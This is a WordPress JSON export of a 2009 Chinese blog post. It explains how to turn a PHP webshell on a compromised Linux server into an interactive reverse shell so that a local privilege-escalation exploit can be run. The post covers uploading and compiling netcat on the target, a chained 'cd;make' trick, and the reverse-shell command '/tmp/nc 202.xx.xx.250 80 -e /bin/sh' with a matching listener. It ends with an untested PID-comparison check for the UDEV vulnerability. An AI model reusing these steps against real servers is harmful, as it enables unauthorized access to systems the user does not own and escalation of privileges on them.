{"id":179,"date":"2009-08-11T20:22:15","date_gmt":"2009-08-11T20:22:15","guid":{"rendered":""},"modified":"2011-11-18T17:03:42","modified_gmt":"2011-11-18T09:03:42","slug":"179","status":"publish","type":"post","link":"http:\/\/zerobox.org\/notes\/179.html","title":{"rendered":"Linux\u4e0b\u901a\u8fc7WebShell\u53cd\u5f39CmdLine Shell\u5c0f\u6280\u5de7(\u56fe)"},"content":{"rendered":"<p><span style=\"font-size: x-small;\">\u4f5c\u8005:zerosoul(\u96f6\u9b42) \u00a0\u96f6\u9b42\u2019s Blog<br \/>\n\u6628\u665a(\u5e94\u8be5\u662f\u4eca\u5929\u51cc\u6668)\u73a9\u4e86\u534a\u5929\u670b\u53cb\u7ed9\u7684Linux\u7684WebShell\uff0c\u672c\u6765\u60f3\u5b9e\u8df5\u4e00\u4e0bUDEV\u63d0\u6743\u5462\uff0c\u6700\u540e\u53d1\u73b0\u670d\u52a1\u5668\u8c8c\u4f3c\u5df2\u7ecf\u6253\u8fc7\u8865\u4e01\u4e86\u3002<br \/>\n\u4e0d\u8fc7\u8fd8\u662f\u6709\u5176\u4ed6\u7684\u6536\u83b7\u7684\uff0c\u6240\u4ee5\u6211\u5c31YY\u4e0bLinux\u53cd\u5f39shell\u7684\u95ee\u9898\u3002<br \/>\nLinux\u63d0\u6743\u7edd\u5927\u90e8\u5206\u90fd\u9760\u7684\u662fLocal Exploit\u3002WebShell\u4e00\u822c\u90fd\u53ef\u4ee5\u6267\u884c\u547d\u4ee4\uff0c\u4f46\u662f\u6211\u4eec\u7684EXP\u5fc5\u987b\u5728\u53ef\u4ea4\u4e92\u73af\u5883\u8fd0\u884c\uff0c\u5426\u5219\u5982\u679c\u76f4\u63a5\u5728WebShell\u6267\u884c\uff0c\u5373\u4f7f\u80fd\u63d0\u6743\u6210\u529f\uff0c\u6211\u4eec\u4e5f\u6ca1\u6cd5\u5229\u7528\u5230\u3002\u6240\u4ee5\u6211\u4eec\u9700\u8981\u5148\u53cd\u5f39\u4e00\u4e2aCmdLine Shell\u56de\u6765(\u76f4\u63a5\u8bf4\u6210CmdShell\u6015\u4eba\u8bef\u89e3&#8230;\u56e0\u4e3aWin\u6709\u4e2acmd.exe ^_^)\uff0c\u7136\u540e\u5728\u547d\u4ee4\u884c\u7ec8\u7aef\u4e0b\u6267\u884cEXP\u8fdb\u884c\u63d0\u6743\u3002<br \/>\n\u4e00\u822c\u60c5\u51b5\u4e0b\uff0c\u7edd\u5927\u591a\u6570\u4eba\u90fd\u4f1a\u901a\u8fc7PHP WebShell\u7684Back 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\/bin\/sh\u5c31\u80fd\u5f39\u4e00\u4e2aCmdLine Shell\u7ed9\u6211\u4eec\u3002<br \/>\n\u4f46\u6211\u4eec\u7ecf\u5e38\u78b0\u5230\u7684\u60c5\u51b5\u5e76\u4e0d\u90fd\u662f\u8fd9\u4e48100%\u987a\u5229\u7684\uff0c\u50cf\u6628\u665a\u6574\u7684\u90a3\u4e24\u53f0\uff0c\u6bcf\u53f0\u90fd\u662f\u4e0d\u80fd\u76f4\u63a5\u6267\u884cnc\u7684\u3002\u4e00\u53f0\u6709nc\uff0c\u4f46\u6267\u884c\u4ece\u662f\u4e0d\u8d77\u4f5c\u7528\uff0c\u53e6\u5916\u4e00\u53f0\u76f4\u63a5\u538b\u6839\u5c31\u6ca1\u6709nc&#8230;.<br \/>\n\u4e0d\u8fc7\uff0c\u8fd9\u4e2a\u96be\u4e0d\u5012\u6211\u4eec\uff0c\u6211\u4eec\u53ef\u4ee5\u7ed9\u4ed6\u88c5\u4e00\u4e2a\u561b\uff0c\u6bd4\u8f83\u5feb\u6377\u7684\u65b9\u6cd5\u662f\uff0c\u6211\u4eec\u53ef\u4ee5\u5230http:\/\/netcat.sourceforge.net\/download.php\u4e0b\u8f7dnc\u7684\u6e90\u7801\uff0c\u5148\u5728\u6211\u4eec\u81ea\u5df1linux\u673a\u5668\u4e0a\u7f16\u8bd1\u597d\u4ee5\u540e\u628abin\u6587\u4ef6\u4f20\u4e0a\u53bb(\u6211\u5f00\u59cb\u4f20\u7684\u6211\u7684Debian\u81ea\u5e26\u7684netcat\uff0c\u7ed3\u679c\u4ecd\u7136\u4e0d\u80fd\u8fd0\u884c&#8230;.)\u3002\u5982\u679c\u8fd8\u4e0d\u884c\uff0c\u90a3\u5c31\u628a\u6e90\u7801\u4f20\u4e0a\u53bb\uff0c\u5728\u76ee\u6807\u673a\u5668\u4e0a\u76f4\u63a5\u7f16\u8bd1\u3002<br \/>\n\u6628\u665a\u90a3\u4e24\u53f0\u673a\u5668\uff0c\u4e00\u53f0\u6211\u662f\u76f4\u63a5\u4f20\u7684\u672c\u5730\u7f16\u8bd1\u540e\u7684\uff0c\u4e00\u53f0\u662f\u5728\u76ee\u6807\u673a\u5668\u4e0a\u7f16\u8bd1\u7684\u3002\u5982\u679c\u76f4\u63a5\u4f20\u7684nc\u53ef\u4ee5\u8fd0\u884c\u7684\u8bdd\u8fd8\u6bd4\u8f83\u597d\u8bf4\uff0c\u5982\u679c\u9700\u8981\u5728\u76ee\u6807\u673a\u5668\u4e0a\u7f16\u8bd1\u7684\u8bdd\uff0c\u8fd9\u91cc\u6709\u70b9\u5c0f\u6280\u5de7:<br \/>\n\u56e0\u4e3a\u5728\u5f97\u5230CmdLine Shell\u524d\uff0c\u6211\u4eec\u53ea\u80fd\u5728WebShell\u91cc\u6267\u884c\u547d\u4ee4\uff0c\u4e00\u822c\u6bcf\u6b21\u53ea\u80fd\u6267\u884c\u4e00\u6761\uff0c\u7136\u540e\u7b49\u56de\u663e\u3002\u5047\u5982\u6211\u4eec\u7684WebShell\u5728\/var\/www\/site\u76ee\u5f55\uff0c\u90a3\u4e48\u6211\u4eec\u6bcf\u6b21\u6267\u884c\u547d\u4ee4\u9ed8\u8ba4\u7684\u5f53\u524d\u8def\u5f84\u90fd\u662f\/var\/www\/site\uff0c\u800c\u6211\u4eec\u7684netcat\u6e90\u7801\u5305\u89e3\u538b\u5728\u4e86\/tmp\/netcatsrc\u6587\u4ef6\u5939\uff0c\u8fd9\u6837\u7684\u8bdd\uff0c\u6211\u4eec\u7f16\u8bd1netcat\u7684\u65f6\u5019\uff0cconfigure\u8fd8\u597d\u8bf4\uff0c\u53ef\u7528\/tmp\/netcatsrc\/configure\u547d\u4ee4\uff0c\u4f46\u4e0b\u4e00\u6b65make\u7684\u65f6\u5019\u5c31\u4e0d\u884c\u4e86\uff0c\u56e0\u4e3a\u5f53\u524d\u8def\u5f84\u662f\/var\/www\/site\uff0c\u800c\u4e0d\u662f\u6211\u4eec\u60f3\u8981\u7684\/tmp\/netcatsrc\/\uff0c\u6240\u4ee5\u6211\u4eecconfigure\u5b8c\u4e86make\u7684\u65f6\u5019\u4f1a\u62a5\u9519\u3002<br \/>\n\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\u5176\u5b9e\u4e5f\u5f88\u7b80\u5355\uff0c\u53ef\u4ee5\u76f4\u63a5\u628a\u4e24\u53e5\u5199\u6210\u4e00\u53e5\u5c31\u53ef\u4ee5:cd \/tmp\/netcatsrc;make<br \/>\n\u7528\u5206\u53f7\u9694\u5f00\u5199\uff0c\u628amake\u8ddf\u5728\u76ee\u5f55\u5207\u6362\u547d\u4ee4\u540e\u9762\uff0c\u8fd9\u6837\u7f16\u8bd1\u7684\u65f6\u5019\u5c31\u4e0d\u4f1a\u62a5\u9519\u4e86\u3002(\u6d41\u6d6a\u732b\u6559\u7684..^_^)<br \/>\n\u5728\u8fd8\u6ca1\u6709\u5f97\u5230CmdLine Shell\u7684\u65f6\u5019\uff0c\u8fd9\u6837\u7684\u5199\u6cd5\u8fd8\u662f\u5f88\u6709\u7528\u7684\u3002<br \/>\n<img decoding=\"async\" style=\"display: block; margin: 0px auto 10px; text-align: center;\" src=\"http:\/\/1821.img.pp.sohu.com.cn\/images\/blog\/2009\/8\/8\/14\/29\/123a64720c4g214.jpg\" alt=\"\" border=\"0\" \/><\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u7f16\u8bd1\u6210\u529f\u4ee5\u540e\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u8f93\u5165\u547d\u4ee4\u53cd\u5f39Shell\u4e86(\u6bd4\u5982\u6211\u8fd9\u91ccnc\u8def\u5f84\u662f\/tmp\/nc):<br \/>\n\u672c\u5730nc -vv -lp 80\u540e<br \/>\n<\/span><span><span style=\"font-size: 12px; white-space: pre;\"><span style=\"font-size: x-small;\">\/tmp\/nc 202.xx.xx.250 80 -e \/bin\/sh\u5c31\u53ef\u4ee5\u7ed9\u6211\u5417\u5f39\u56de\u6765\u4e00\u4e2aCmdLine Shell\u3002<br \/>\n\u6548\u679c\u5982\u4e0b\u56fe:<br \/>\n<img decoding=\"async\" style=\"display: block; margin: 0px auto 10px; text-align: center;\" src=\"http:\/\/1871.img.pp.sohu.com.cn\/images\/blog\/2009\/8\/8\/15\/0\/123a6479544g213.jpg\" alt=\"\" border=\"0\" \/><\/span><\/span><\/span><\/p>\n<p><span style=\"font-size: x-small;\"><img decoding=\"async\" style=\"display: block; margin: 0px auto 10px; text-align: center;\" src=\"http:\/\/1851.img.pp.sohu.com.cn\/images\/blog\/2009\/8\/8\/15\/0\/123a647dfedg215.jpg\" alt=\"\" border=\"0\" \/> <\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u8981\u6ce8\u610f\u53cd\u5f39\u7684Linux Shell\u662f\u6ca1\u6709$\u63d0\u793a\u7b26\u7684\u54e6\uff0c\u6267\u884c\u4e00\u53e5\u8fd4\u56de\u4e00\u53e5\u3002<br \/>\n\u8fd8\u6709\u4e00\u70b9\u5c31\u662f\u8fd9\u91cc\u53cd\u5f39Shell\u7684\u65f6\u5019\u6211\u8fd0\u884c\u7684\u662f\/bin\/sh\uff0c\u5f53\u7136\u8fd0\u884c\/bin\/bash\u4e5f\u53ef\u4ee5\u3002<br \/>\n\u4e0d\u8fc7\u6211\u89c9\u5f97\u6700\u597d\u8fd8\u662f\u8fd0\u884c\/bin\/sh\u5427\uff0c\u56e0\u4e3a\/bin\/sh\u7684\u6743\u9650\u6bd4\/bin\/bash\u653e\u7684\u66f4\u5f00\u4e00\u4e9b<br \/>\n\u987a\u4fbf\u8bf4\u4e00\u4e0b\u600e\u4e48\u5224\u65ad\u76ee\u6807\u662f\u5426\u6709UDEV\u8fd9\u4e2a\u6f0f\u6d1e\u3002<br \/>\nLinux\u6211\u8fd8\u4e0d\u77e5\u9053\u600e\u4e48\u6837\u67e5\u770b\u5b83\u662f\u5426\u6253\u8fc7\u8fd9\u4e2a\u8865\u4e01\uff0c\u6240\u4ee5\u6211\u60f3\u4e86\u4e2a\u6bd4\u8f83\u7b80\u5355\u7684\u529e\u6cd5:<br \/>\n1.\u6267\u884ccat \/proc\/net\/netlink,\u8bb0\u5f55\u4e0bPID A<br \/>\n2.\u6267\u884cps aux | grep udev ,\u8bb0\u4e0broot\u7684PID B<br \/>\n3.\u5982\u679cA =<span><span style=\"font-size: 12px; white-space: pre;\">B &#8211; 1<\/span><\/span>\uff0c\u5219\u5b58\u5728\u6f0f\u6d1e\uff0c\u5426\u5219\u4e0d\u5b58\u5728<br \/>\n\u8fd9\u662f\u6211\u81ea\u5df1\u60f3\u7684\uff0c\u56e0\u4e3a\u83b7\u5f97PID\u7684\u65f6\u5019\u6709\u8fd9\u4e24\u79cd\u65b9\u6cd5\uff0c\u6240\u4ee5\u6211\u901a\u8fc7\u4ed6\u4eec\u5bf9\u6bd4\u6765\u5224\u65ad\uff0c\u4f46\u6211\u5e76\u4e0d\u80fd\u786e\u5b9a\u6211\u8fd9\u65b9\u6cd5\u662f100%\u6b63\u786e\u7684\uff0c\u4ec5\u4f9b\u53c2\u8003\u3002<br \/>\n\u6548\u679c\u5982\u4e0b\u56fe:<br \/>\n\u5728\u53cd\u5f39\u7684Shell\u91cc\u6267\u884c\uff0c\u53d1\u73b0\u5f97\u5230\u7684PID<\/span><a href=\"http:\/\/1811.img.pp.sohu.com.cn\/images\/blog\/2009\/8\/8\/15\/1\/123a6487f7ag214.jpg\" target=\"_blank\"><span style=\"font-size: x-small;\"><img decoding=\"async\" style=\"display: block; margin: 0px auto 10px; text-align: center;\" src=\"http:\/\/1811.img.pp.sohu.com.cn\/images\/blog\/2009\/8\/8\/15\/1\/123a6487f7ag214.jpg\" alt=\"\" border=\"0\" \/><\/span><\/a><span style=\"font-size: x-small;\">\u4e0d\u4e00\u6837,2487 != 1230<br \/>\n\u5728\u6211\u81ea\u5df1\u673a\u5668\u4e0a\uff0cPID\u4e00\u6837\uff0c1184=1185-1<br \/>\n<\/span><a href=\"http:\/\/1831.img.pp.sohu.com.cn\/images\/blog\/2009\/8\/8\/15\/1\/123a6491a0ag214.jpg\" target=\"_blank\"><span style=\"font-size: x-small;\"><img decoding=\"async\" style=\"display: block; margin: 0px auto 10px; text-align: center;\" src=\"http:\/\/1831.img.pp.sohu.com.cn\/images\/blog\/2009\/8\/8\/15\/1\/123a6491a0ag214.jpg\" alt=\"\" border=\"0\" \/><\/span><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4f5c\u8005:zerosoul(\u96f6\u9b42) \u00a0\u96f6\u9b42\u2019s Blog \u6628\u665a(\u5e94\u8be5\u662f\u4eca\u5929\u51cc\u6668)\u73a9\u4e86 &hellip;<\/p>\n<p class=\"read-more\"><a href=\"http:\/\/zerobox.org\/notes\/179.html\">\u7ee7\u7eed\u9605\u8bfb &raquo;<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[29,132],"class_list":["post-179","post","type-post","status-publish","format-standard","hentry","tag-linux-2","tag-webshell"],"views":801,"_links":{"self":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/posts\/179","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/comments?post=179"}],"version-history":[{"count":0,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/posts\/179\/revisions"}],"wp:attachment":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/media?parent=179"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/categories?post=179"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/tags?post=179"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}